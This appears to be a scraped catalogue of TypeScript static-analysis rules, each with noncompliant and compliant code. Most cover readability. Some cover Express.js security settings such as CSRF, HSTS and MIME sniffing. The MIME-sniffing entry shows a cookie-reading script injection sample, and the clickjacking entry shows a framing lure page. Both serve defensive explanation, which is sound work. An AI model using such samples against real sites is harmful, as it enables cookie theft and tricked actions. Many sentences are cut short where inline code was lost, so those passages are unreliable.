Assignments within sub-expressions are hard to spot and therefore make the code less readable. Ideally, sub-expressions should not have side-effects. Noncompliant Code Exampleif ((str = cont.substring(pos1, pos2)) != '') { // Noncompliant //... } Compliant Solutionstr = cont.substring(pos1, pos2); if (str != '') { //... } See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
typescript:S4634 |
When a Noncompliant Code Examplelet fulfilledPromise = new Promise(resolve => resolve(42)); let rejectedPromise = new Promise(function(resolve, reject) { reject('fail'); }); Compliant Solutionlet fulfilledPromise = Promise.resolve(42); let rejectedPromise = Promise.reject('fail'); |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
typescript:S3786 |
Template strings allow developers to embed variables or expressions in strings using template literals, instead of string concatenation. This is
done by using expressions like Noncompliant Code Exampleconsole.log("Today is ${date}"); // Noncompliant Compliant Solutionconsole.log(`Today is ${date}`); |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
typescript:S1125 |
Boolean literals should be avoided in comparison expressions This rule also reports on redundant boolean operations. Noncompliant Code Examplelet someValue = "0"; // ... if (someValue == true) { /* ... */ } if (someBooleanValue != true) { /* ... */ } doSomething(!false); Compliant Solutionif (someValue && someValue != "0") { /* ... */ } if (!someBooleanValue) { /* ... */ } doSomething(true); |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
typescript:S1488 |
Declaring a variable only to immediately return or throw it is a bad practice. Some developers argue that the practice improves code readability, because it enables them to explicitly name what is being returned. However, this variable is an internal implementation detail that is not exposed to the callers of the method. The method name should be sufficient for callers to know exactly what will be returned. Noncompliant Code Examplefunction computeDurationInMilliseconds() { var duration = (((hours * 60) + minutes) * 60 + seconds ) * 1000 ; return duration; } Compliant Solutionfunction computeDurationInMilliseconds() { return (((hours * 60) + minutes) * 60 + seconds ) * 1000 ; } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
typescript:S1116 |
Extra semicolons (
Noncompliant Code Examplevar x = 1;; // Noncompliant function foo() { }; // Noncompliant Compliant Solutionvar x = 1; function foo() { } See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
typescript:S1479 |
When |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
typescript:S4507 |
Delivering code in production with debug features activated is security-sensitive. It has led in the past to the following vulnerabilities: An application's debug features enable developers to find bugs more easily and thus facilitate also the work of attackers. It often gives access to detailed information on both the system running the application and users. Ask Yourself Whether
There is a risk if you answered yes to any of those questions. Recommended Secure Coding PracticesDo not enable debug features on production servers. Sensitive Code Exampleerrorhandler Express.js middleware should not be used in production: const express = require('express'); const errorhandler = require('errorhandler'); let app = express(); app.use(errorhandler()); // Sensitive Compliant Solutionerrorhandler Express.js middleware used only in development mode: const express = require('express'); const errorhandler = require('errorhandler'); let app = express(); if (process.env.NODE_ENV === 'development') { // Compliant app.use(errorhandler()); // Compliant } See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
typescript:S1117 |
Overriding or shadowing a variable declared in an outer scope can strongly impact the readability, and therefore the maintainability, of a piece of code. Further, it could lead maintainers to introduce bugs because they think they're using one variable but are really using another. See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
typescript:S2208 |
On the principle that clearer code is better code, you should explicitly Noncompliant Code Exampleimport * as Imported from "aModule"; // Noncompliant |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
typescript:S1119 |
Labels are not commonly used, and many developers do not understand how they work. Moreover, their usage makes the control flow harder to follow, which reduces the code's readability. Noncompliant Code ExamplemyLabel: { let x = doSomething(); if (x > 0) { break myLabel; } doSomethingElse(); } Compliant Solutionlet x = doSomething(); if (x <= 0) { doSomethingElse(); }
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
typescript:S1472 |
Because semicolons at the ends of statements are optional, starting function call arguments on a separate line makes the code confusing. It could lead to errors and most likely will lead to questions for maintainers. What was the initial intent of the developer?
The first option will be the one chosen by the JavaScript interpreter. By extension, and to improve readability, any kind of function call argument should not start on new line. Noncompliant Code Examplevar fn = function () { //... } (function () { // Noncompliant //... })(); Compliant SolutionEither // define a function var fn = function () { //... }; // <-- semicolon added // then execute some code inside a closure (function () { //... })(); Or var fn = function () { //... }(function () { // <-- start function call arguments on same line //... })(); |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
typescript:S2681 |
Curly braces can be omitted from a one-line block, such as with an This rule raises an issue when the whitespacing of the lines after a one line block indicates an intent to include those lines in the block, but the omission of curly braces means the lines will be unconditionally executed once. Note that this rule considers tab characters to be equivalent to 1 space. If you mix spaces and tabs you will sometimes see issues in code which looks fine in your editor but is confusing when you change the size of tabs. Noncompliant Code Exampleif (condition) firstActionInBlock(); secondAction(); // Noncompliant; executed unconditionally thirdAction(); if (condition) firstActionInBlock(); secondAction(); // Noncompliant; secondAction executed unconditionally if (condition) firstActionInBlock(); // Noncompliant secondAction(); // Executed unconditionally if (condition); secondAction(); // Noncompliant; secondAction executed unconditionally let str = undefined; for (let i = 0; i < array.length; i++) str = array[i]; doTheThing(str); // Noncompliant; executed only on last array element Compliant Solutionif (condition) { firstActionInBlock(); secondAction(); } thirdAction(); let str = undefined; for (let i = 0; i < array.length; i++) { str = array[i]; doTheThing(str); } See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
typescript:S3531 |
A generator without a Noncompliant Code Examplefunction* myGen(a, b) { // Noncompliant let answer = 0; answer += a * b; } Compliant Solutionfunction* myGen(a, b) { let answer = 0; while (answer < 42) { answer += a * b; yield answer; } } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
typescript:S1110 |
The use of parentheses, even those not required to enforce a desired order of operations, can clarify the intent behind a piece of code. But redundant pairs of parentheses could be misleading, and should be removed. Noncompliant Code Examplelet x = (y / 2 + 1); //Compliant even if those parenthesis are useless for the compiler if (a && ((x+y > 0))) { // Noncompliant //... } return ((x + 1)); // Noncompliant Compliant Solutionlet x = (y / 2 + 1); if (a && (x+y > 0)) { //... } return (x + 1); |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
typescript:S4502 |
Cross-site request forgery (CSRF) vulnerabilities occur when attackers can trick a user to perform sensitive authenticated operations on a web application without his consent. Imagine a web application where an authenticated user can do actions like changing his email address and which has no CSRF protection. A malicious website could forge a web page form to send the HTTP request that change the user email. When the user visits the malicious web page, the form is automatically submitted in his name and his account email is changed to an arbitrary email. Such an attack is only possible if the web browser automatically sends authentication information to the trusted domain (e.g cookie based authentication) Ask Yourself Whether
There is a risk if you answered yes to any of those questions. Recommended Secure Coding Practices
Sensitive Code ExampleExpress.js CSURF middleware protection is not found on an unsafe HTTP method like POST method: let csrf = require('csurf'); let express = require('express'); let csrfProtection = csrf({ cookie: true }); let app = express(); // Sensitive: this operation doesn't look like protected by CSURF middleware (csrfProtection is not used) app.post('/money_transfer', parseForm, function (req, res) { res.send('Money transferred'); }); Protection provided by Express.js CSURF middleware is globally disabled on unsafe methods: let csrf = require('csurf'); let express = require('express'); app.use(csrf({ cookie: true, ignoreMethods: ["POST", "GET"] })); // Sensitive as POST is unsafe method Compliant SolutionExpress.js CSURF middleware protection is used on unsafe methods: let csrf = require('csurf'); let express = require('express'); let csrfProtection = csrf({ cookie: true }); let app = express(); app.post('/money_transfer', parseForm, csrfProtection, function (req, res) { // Compliant res.send('Money transferred') }); Protection provided by Express.js CSURF middleware is enabled on unsafe methods: let csrf = require('csurf'); let express = require('express'); app.use(csrf({ cookie: true, ignoreMethods: ["GET"] })); // Compliant See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
typescript:S3533 |
Before ECMAScript 2015, module management had to be ad-hoc or provided by 3rd-party libraries such as Node.js, Webpack, or RequireJS. Fortunately,
ES2015, provides language-standard mechanisms for module management, Noncompliant Code Example// circle.js exports.area = function (r) { return PI * r * r; }; // foo.js define(["./cart", "./horse"], function(cart, horse) { // Noncompliant // ... }); // bar.js const circle = require('./circle.js'); // Noncompliant Compliant Solution// circle.js let area = function (r) { return PI * r * r; } export default area; // foo.js import cart from "./cart.js"; import horse from "./horse.js"; // bar.js import circle from "./circle.js" |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
typescript:S4623 |
Unlike in JavaScript, where every parameter can be omitted, in TypeScript you need to explicitly declare this in the function signature. Either you
add Noncompliant Code Examplefunction foo(x: number, y: string = "default", z?: number) { // ... } foo(42, undefined); // Noncompliant foo(42, undefined, undefined); // Noncompliant foo(42, undefined, 5); // OK, there is no other way to force default value for second parameter Compliant Solutionfunction foo(x: number, y: string = "default", z?: number) { // ... } foo(42); |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
typescript:S2685 |
Both Arguments objects for strict mode functions define non-configurable accessor properties named "caller" and "callee" which throw a TypeError exception on access. The same restriction applies to the function's Noncompliant Code Examplefunction whoCalled() { if (arguments.caller == null) //Noncompliant console.log('I was called from the global scope.'); else console.log(arguments.caller + ' called me!'); // Noncompliant console.log(whoCalled.caller); // Noncompliant console.log(whoCalled.arguments); // Noncompliant } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
typescript:S2201 |
When the call to a function doesn't have any side effects, what is the point of making the call if the results are ignored? In such case, either the function call is useless and should be dropped or the source code doesn't behave as expected. To prevent generating any false-positives, this rule triggers an issues only on a predefined list of known objects & functions. Noncompliant Code Example'hello'.lastIndexOf('e'); // Noncompliant Compliant Solutionlet char = 'hello'.lastIndexOf('e'); See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
typescript:S4624 |
Template literals (previously named "template strings") are an elegant way to build a string without using the However, it's possible to build complex string literals by nesting together multiple template literals, and therefore lose readability and maintainability. In such situations, it's preferable to move the nested template into a separate statement. Noncompliant Code Examplelet color = "red"; let count = 3; let message = `I have ${color ? `${count} ${color}` : count} apples`; // Noncompliant; nested template strings not easy to read Compliant Solutionlet color = "red"; let count = 3; let apples = color ? `${count} ${color}` : count; let message = `I have ${apples} apples`; |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
typescript:S2688 |
Instead, the best way to see whether a variable is equal to Noncompliant Code Examplevar a = NaN; if (a === NaN) { // Noncompliant; always false console.log("a is not a number"); // this is dead code } if (a !== NaN) { // Noncompliant; always true console.log("a is not NaN"); // this statement is not necessarily true } Compliant Solutionif (Number.isNaN(a)) { console.log("a is not a number"); } if (!Number.isNaN(a)) { console.log("a is not NaN"); } See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
typescript:S4621 |
The TypeScript type system offers a basic support for composite types:
Duplicating types when defining a union or interaction type makes the code less readable. Moreover duplicated types might be a simple mistake and another type should be used instead. Noncompliant Code Examplefunction padLeft(value: string, padding: string | number | string) { // Noncompliant; 'string' type is used twice in a union type declaration // ... } function extend(p : Person) : Person & Person & Loggable { // Noncompliant; 'Person' is used twice // ... } Compliant Solutionfunction padLeft(value: string, padding: string | number | boolean) { // ... } function extend(p : Person) : Person & Loggable { // ... } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
typescript:S3776 |
Cognitive Complexity is a measure of how hard the control flow of a function is to understand. Functions with high Cognitive Complexity will be difficult to maintain. See |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
typescript:S4622 |
Union types represent a value that can be one of the several types. When a union type is used for a function parameter and it is accepting too many types, it may indicate the function is having too many responsibilities. Sometimes it's worth creating a type alias for this union type. In all cases, the code should be reviewed and refactored to make it more maintainable. Noncompliant Code ExampleWith the default threshold of 3: let x: MyType1 | MyType2 | MyType3 | MyType4; // Noncompliant function foo(p1: string, p2: MyType1 | MyType2 | MyType3 | MyType4) { // Noncompliant // ... } Compliant Solutiontype MyUnionType = MyType1 | MyType2 | MyType3 | MyType4; // Compliant, "type" statements are ignored let x: MyUnionType; function foo(value: string, padding: MyUnionType) { // ... } ExceptionsThis rule ignores union types part of type MyUnionType = MyType1 | MyType2 | MyType3 | MyType4; |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
typescript:S878 |
The comma operator takes two expressions, executes them from left to right and returns the result of the second one. Use of this operator is generally detrimental to the readability and reliability of code, and the same effect can be achieved by other means. Noncompliant Code Examplei = a += 2, a + b; // What's the value of i ? Compliant Solutiona += 2; i = a + b; ExceptionsUse of comma operator is tolerated:
for(i = 0, j = 5; i < 6; i++, j++) { ... }
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
typescript:S1821 |
Nested Specifically, you should structure your code to avoid the need for nested Noncompliant Code Examplefunction foo(n, m) { switch (n) { case 0: switch (m) { // Noncompliant; nested switch // ... } case 1: // ... default: // ... } } Compliant Solutionfunction foo(n, m) { switch (n) { case 0: bar(m); case 1: // ... default: // ... } } function bar(m) { switch(m) { // ... } } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
typescript:S881 |
The use of increment and decrement operators in method calls or in combination with other arithmetic operators is not recommended, because:
Noncompliant Code Exampleu8a = ++u8b + u8c--; foo = bar++ / 4; Compliant SolutionThe following sequence is clearer and therefore safer: ++u8b; u8a = u8b + u8c; u8c--; foo = bar / 4; bar++; See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
typescript:S5742 |
Certificate Transparency (CT) is an open-framework to protect against identity theft when certificates are issued. Certificate Authorities (CA) electronically sign certificate after verifying the identify of the certificate owner. Attackers use, among other things, social engineering attacks to trick a CA to correctly verifying a spoofed identity/forged certificate. CAs implement Certificate Transparency framework to publicly log the records of newly issued certificates, allowing the public and in particular the identity owner to monitor these logs to verify that his identify was not usurped. Ask Yourself Whether
There is a risk if you answered yes to this question. Recommended Secure Coding PracticesImplement Expect-CT HTTP header which instructs the web browser to check public CT logs in order to verify if the website appears inside and if it is not, the browser will block the request and display a warning to the user. Sensitive Code ExampleIn Express.js application the code is sensitive if the expect-ct middleware is disabled: const express = require('express'); const helmet = require('helmet'); let app = express(); app.use( helmet({ expectCt: false // Sensitive }) ); Compliant SolutionIn Express.js application the expect-ct middleware is the standard way to implement
expect-ct. Usually, the deployment of this policy starts with the report only mode ( const express = require('express'); const helmet = require('helmet'); let app = express(); app.use(helmet.expectCt({ enforce: true, maxAge: 86400 })); // Compliant See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
typescript:S1264 |
When only the condition expression is defined in a Noncompliant Code Examplefor (;condition;) { /*...*/ } Compliant Solutionwhile (condition) { /*...*/ } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
typescript:S1143 |
Using This rule raises an issue when a jump statement ( Noncompliant Code Examplefunction foo() { try { return 1; // We expect 1 to be returned } catch(err) { return 2; // Or 2 in cases of error } finally { return 3; // Noncompliant: 3 is returned before 1, or 2, which we did not expect } } Compliant Solutionfunction foo() { try { return 1; // We expect 1 to be returned } catch(err) { return 2; // Or 2 in cases of error } } See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
typescript:S2598 |
These minimum restrictions should be applied when handling file uploads:
Also the size of the uploaded file should be limited to prevent denial of service attacks. This requirement is covered by the rule S5693. Noncompliant Code Exampleformidable module: const Formidable = require('formidable'); const form = new Formidable(); // Noncompliant, this form is not safe form.uploadDir = ""; // because upload dir is not defined (by default os temp dir: /var/tmp or /tmp) form.keepExtensions = true; // and file extensions are kept multer (Express.js middleware) module: const multer = require('multer'); let diskStorage = multer.diskStorage({ // Noncompliant: no destination specified filename: (req, file, cb) => { const buf = crypto.randomBytes(20); cb(null, buf.toString('hex')) } }); // This upload is not safe as no destination specified, /var/tmp or /tmp will be used let diskupload = multer({ storage: diskStorage, }); Compliant Solutionformidable module: const Formidable = require('formidable'); const form = new Formidable(); // Compliant form.uploadDir = "./uploads/"; form.keepExtensions = false; multer (Express.js middleware) module: const multer = require('multer'); let diskStorage = multer.diskStorage({ // Compliant filename: (req, file, cb) => { const buf = crypto.randomBytes(20); cb(null, buf.toString('hex')) }, destination: (req, file, cb) => { cb(null, './uploads/') } }); let diskupload = multer({ storage: diskStorage, }); See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
typescript:S2234 |
When the names of arguments in a function call match the names of the function parameters, it contributes to clearer, more readable code. However, when the names match, but are passed in a different order than the function parameters, it indicates a mistake in the parameter order which will likely lead to unexpected results. Noncompliant Code Examplefunction divide(divisor, dividend) { return divisor/dividend; } function doTheThing() { var divisor = 15; var dividend = 5; var result = divide(dividend, divisor); // Noncompliant; operation succeeds, but result is unexpected //... } Compliant Solutionfunction divide(divisor, dividend) { return divisor/dividend; } function doTheThing() { var divisor = 15; var dividend = 5; var result = divide(divisor, dividend); //... } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
typescript:S5743 |
By default, web browsers perform DNS prefetching to reduce latency due to DNS resolutions required when an user clicks links from a website page. For instance on example.com the hyperlink below contains a cross-origin domain name that must be resolved to an IP address by the web browser: <a href="https://otherexample.com">go on our partner website</a> It can add significant latency during requests, especially if the page contains many links to cross-origin domains. DNS prefetch allows web browsers to perform DNS resolving in the background before the user clicks a link. This feature can cause privacy issues because DNS resolving from the user's computer is performed without his consent if he doesn't intent to go to the linked website. On a complex private webpage, a combination "of unique links/DNS resolutions" can indicate, to a eavesdropper for instance, that the user is visiting the private page. Ask Yourself Whether
There is a risk if you answered yes to this question. Recommended Secure Coding PracticesImplement X-DNS-Prefetch-Control header with an off value but this could significantly degrade website performances. Sensitive Code ExampleIn Express.js application the code is sensitive if the dns-prefetch-control middleware is disabled or used without the recommended value: const express = require('express'); const helmet = require('helmet'); let app = express(); app.use( helmet.dnsPrefetchControl({ allow: true // Sensitive: allowing DNS prefetching is security-sensitive }) ); Compliant SolutionIn Express.js application the dns-prefetch-control or helmet middleware is the standard way to implement const express = require('express'); const helmet = require('helmet'); let app = express(); app.use( helmet.dnsPrefetchControl({ allow: false // Compliant }) ); See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
typescript:S1940 |
It is needlessly complex to invert the result of a boolean comparison. The opposite comparison should be made instead. Noncompliant Code Exampleif (!(a === 2)) { ... } // Noncompliant Compliant Solutionif (a !== 2) { ... } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
typescript:S3317 |
By convention, a file that exports only one class, function, or constant should be named for that class, function or constant. Anything else may confuse maintainers. Noncompliant Code Example// file path: myclass.js -- Noncompliant class MyClass { // ... } export default MyClass; Compliant Solution// file path: MyClass.js class MyClass { // ... } export default MyClass; ExceptionsCase, underscores ( |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
typescript:S5739 |
When implementing the HTTPS protocol, the website mostly continue to support the HTTP protocol to redirect users to HTTPS when they request a HTTP version of the website. These redirects are not encrypted and are therefore vulnerable to man in the middle attacks. The Strict-Transport-Security policy header (HSTS) set by an application instructs the web browser to convert any HTTP request to HTTPS. Web browsers that see the Strict-Transport-Security policy header for the first time record information specified in the header:
With the Ask Yourself Whether
There is a risk if you answered yes to this question. Recommended Secure Coding PracticesImplement Strict-Transport-Security policy header, it is recommended to apply this policy to all subdomains ( Sensitive Code ExampleIn Express.js application the code is sensitive if the helmet or hsts middleware are disabled or used without recommended values: const express = require('express'); const helmet = require('helmet'); let app = express(); app.use(helmet.hsts({ maxAge: 3153600, // Sensitive, recommended >= 15552000 includeSubDomains: false // Sensitive, recommended 'true' })); Compliant SolutionIn Express.js application a standard way to implement HSTS is with the helmet or hsts middleware: const express = require('express'); const helmet = require('helmet'); let app = express(); app.use(helmet.hsts({ maxAge: 31536000, includeSubDomains: true })); // Compliant See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
typescript:S5736 |
HTTP header referer contains a URL set by web browsers and used by applications to track from where the user came from, it's for instance a relevant value for web analytic services, but it can cause serious privacy and security problems if the URL contains confidential information. Note that Firefox for instance, to prevent data leaks, removes path information in the Referer header while browsing privately. Suppose an e-commerce website asks the user his credit card number to purchase a product: <html> <body> <form action="/valid_order" method="GET"> Type your credit card number to purchase products: <input type=text id="cc" value="1111-2222-3333-4444"> <input type=submit> </form> </body> When submitting the above HTML form, a HTTP GET request will be performed, the URL requested will be https://example.com/valid_order?cc=1111-2222-3333-4444 with credit card number inside and it's obviously not secure for these reasons:
In addition to these threats, when further requests will be performed from the "valid_order" page with a simple legitimate embedded script like that: <script src="https://webanalyticservices_example.com/track"> The referer header which contains confidential information will be send to a third party web analytic service and cause privacy issue: GET /track HTTP/2.0 Host: webanalyticservices_example.com Referer: https://example.com/valid_order?cc=1111-2222-3333-4444 Ask Yourself Whether
There is a risk if you answered yes to any of those questions. Recommended Secure Coding PracticesConfidential information should not be set inside URLs (GET requests) of the application and a safe (ie: different from Sensitive Code ExampleIn Express.js application the code is sensitive if the helmet const express = require('express'); const helmet = require('helmet'); app.use( helmet.referrerPolicy({ policy: 'no-referrer-when-downgrade' // Sensitive: no-referrer-when-downgrade is used }) ); Compliant SolutionIn Express.js application a secure solution is to user the helmet referrer policy middleware set
to const express = require('express'); const helmet = require('helmet'); let app = express(); app.use( helmet.referrerPolicy({ policy: 'no-referrer' // Compliant }) ); See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
typescript:S5730 |
A mixed-content is when a resource is loaded with the HTTP protocol, from a website accessed with the HTTPs protocol, thus mixed-content are not encrypted and exposed to MITM attacks and could break the entire level of protection that was desired by implementing encryption with the HTTPs protocol. The main threat with mixed-content is not only the confidentiality of resources but the whole website integrity:
Ask Yourself Whether
There is a risk if you answered yes to this question. Recommended Secure Coding PracticesImplement content security policy block-all-mixed-content directive which is supported by all modern browsers and will block loading of mixed-contents. Sensitive Code ExampleIn Express.js application the code is sensitive if the helmet-csp or helmet middleware is used without the const express = require('express'); const helmet = require('helmet'); let app = express(); app.use( helmet.contentSecurityPolicy({ directives: { "default-src": ["'self'", 'example.com', 'code.jquery.com'] } // Sensitive: blockAllMixedContent directive is missing }) ); Compliant SolutionIn Express.js application a standard way to block mixed-content is to put in place the helmet-csp or helmet middleware with the
const express = require('express'); const helmet = require('helmet'); let app = express(); app.use( helmet.contentSecurityPolicy({ directives: { "default-src": ["'self'", 'example.com', 'code.jquery.com'], blockAllMixedContent: [] // Compliant } }) ); See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
typescript:S1131 |
Trailing whitespaces are simply useless and should not stay in code. They may generate noise when comparing different versions of the same file. If you encounter issues from this rule, this probably means that you are not using an automated code formatter - which you should if you have the opportunity to do so. Noncompliant Code Example// The following string will error if there is a whitespace after '\' var str = "Hello \ World"; |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
typescript:S1134 |
Sometimes the developer will not have the time or will simply forget to get back to that tag. This rule is meant to track those tags and to ensure that they do not go unnoticed. Noncompliant Code Examplefunction divide(numerator, denominator) { return numerator / denominator; // FIXME denominator value might be 0 } See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
typescript:S5734 |
MIME confusion attacks occur when an attacker successfully tricks a web-browser to interpret a resource as a different type than the one expected. To correctly interpret a resource (script, image, stylesheet ...) web browsers look for the Content-Type header defined in the HTTP response received from the server, but often this header is not set or is set with an incorrect value. To avoid content-type mismatch and to provide the best user experience, web browsers try to deduce the right content-type, generally by inspecting the content of the resources (the first bytes). This "guess mechanism" is called MIME type sniffing. Attackers can take advantage of this feature when a website ("example.com" here) allows to upload arbitrary files. In that case, an attacker can upload a malicious image fakeimage.png (containing malicious JavaScript code or a polyglot content file) such as: <script>alert(document.cookie)</script> When the victim will visit the website showing the uploaded image, the malicious script embedded into the image will be executed by web browsers performing MIME type sniffing. Ask Yourself Whether
There is a risk if you answered yes to any of those questions. Recommended Secure Coding PracticesImplement X-Content-Type-Options header with nosniff value (the only existing value for this header) which is supported by all modern browsers and will prevent browsers from performing MIME type sniffing, so that in case of Content-Type header mismatch, the resource is not interpreted. For example within a <script> object context, JavaScript MIME types are expected (like application/javascript) in the Content-Type header. Sensitive Code ExampleIn Express.js application the code is sensitive if, when using helmet, the const express = require('express'); const helmet = require('helmet'); let app = express(); app.use( helmet({ noSniff: false, // Sensitive }) ); Compliant SolutionWhen using const express = require('express'); const helmet= require('helmet'); let app = express(); app.use(helmet.noSniff()); See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
typescript:S4524 |
For readability purpose, to help a developer to quickly find the default behavior of a Noncompliant Code Exampleswitch (param) { case 0: doSomething(); break; default: // default clause should be the first or last one error(); break; case 1: doSomethingElse(); break; } Compliant Solutionswitch (param) { case 0: doSomething(); break; case 1: doSomethingElse(); break; default: error(); break; } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
typescript:S1135 |
Sometimes the developer will not have the time or will simply forget to get back to that tag. This rule is meant to track those tags and to ensure that they do not go unnoticed. Noncompliant Code Examplefunction doSomething() { // TODO } See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
typescript:S3799 |
Destructuring is a convenient way of extracting multiple values from data stored in (possibly nested) objects and arrays. However, it is possible to create an empty pattern that has no effect. When empty curly braces or brackets are used to the right of a property name most of the time the intent was to use a default value instead. This rule raises an issue when empty destructuring pattern is used. Noncompliant Code Examplevar {a: {}, b} = myObj; // Noncompliant function foo({first: [], second}) { // Noncompliant // ... } Compliant Solutionvar {a = {}, b} = myObj; function foo({first = [], second}) { // ... } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
typescript:S5732 |
Clickjacking attacks occur when an attacker try to trick an user to click on certain buttons/links of a legit website. This attack can take place with malicious HTML frames well hidden in an attacker website. For instance, suppose a safe and authentic page of a social network (https://socialnetworkexample.com/makemyprofilpublic) which allows an user to change the visibility of his profile by clicking on a button. This is a critical feature with high privacy concerns. Users are generally well informed on the social network of the consequences of this action. An attacker can trick users, without their consent, to do this action with the below embedded code added on a malicious website: <html> <b>Click on the button below to win 5000$</b> <br> <iframe src="https://socialnetworkexample.com/makemyprofilpublic" width="200" height="200"></iframe> </html> Playing with the size of the iframe it's sometimes possible to display only the critical parts of a page, in this case the button of the makemyprofilpublic page. Ask Yourself Whether
